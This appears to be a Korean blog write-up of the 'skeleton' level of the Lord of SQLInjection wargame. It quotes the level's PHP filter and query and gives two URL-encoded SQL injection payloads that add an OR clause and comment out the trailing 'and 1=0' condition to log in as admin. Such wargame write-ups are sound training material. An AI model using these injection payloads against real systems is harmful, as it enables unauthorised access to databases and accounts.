본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : skeleton

Write-Up

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";

if($result['id'] == 'admin') solve("skeleton");

 

result[id] 가 admin 일 시, 문제를 해결할 수 있다. 위의 코드에서 주의해서 봐야할 부분은 and 1=0이다. 1=0 이 아니기에, 그냥 두면 참이 될 수 없다. 그래서 아래와 같은 payload를 사용해 문제를 해결했다. 

 

?pw=1%27%20or%20id%20like%20%27admin%27%23
?pw=1%27%20or%20id%20=%20%27admin%27%23

 

그림 1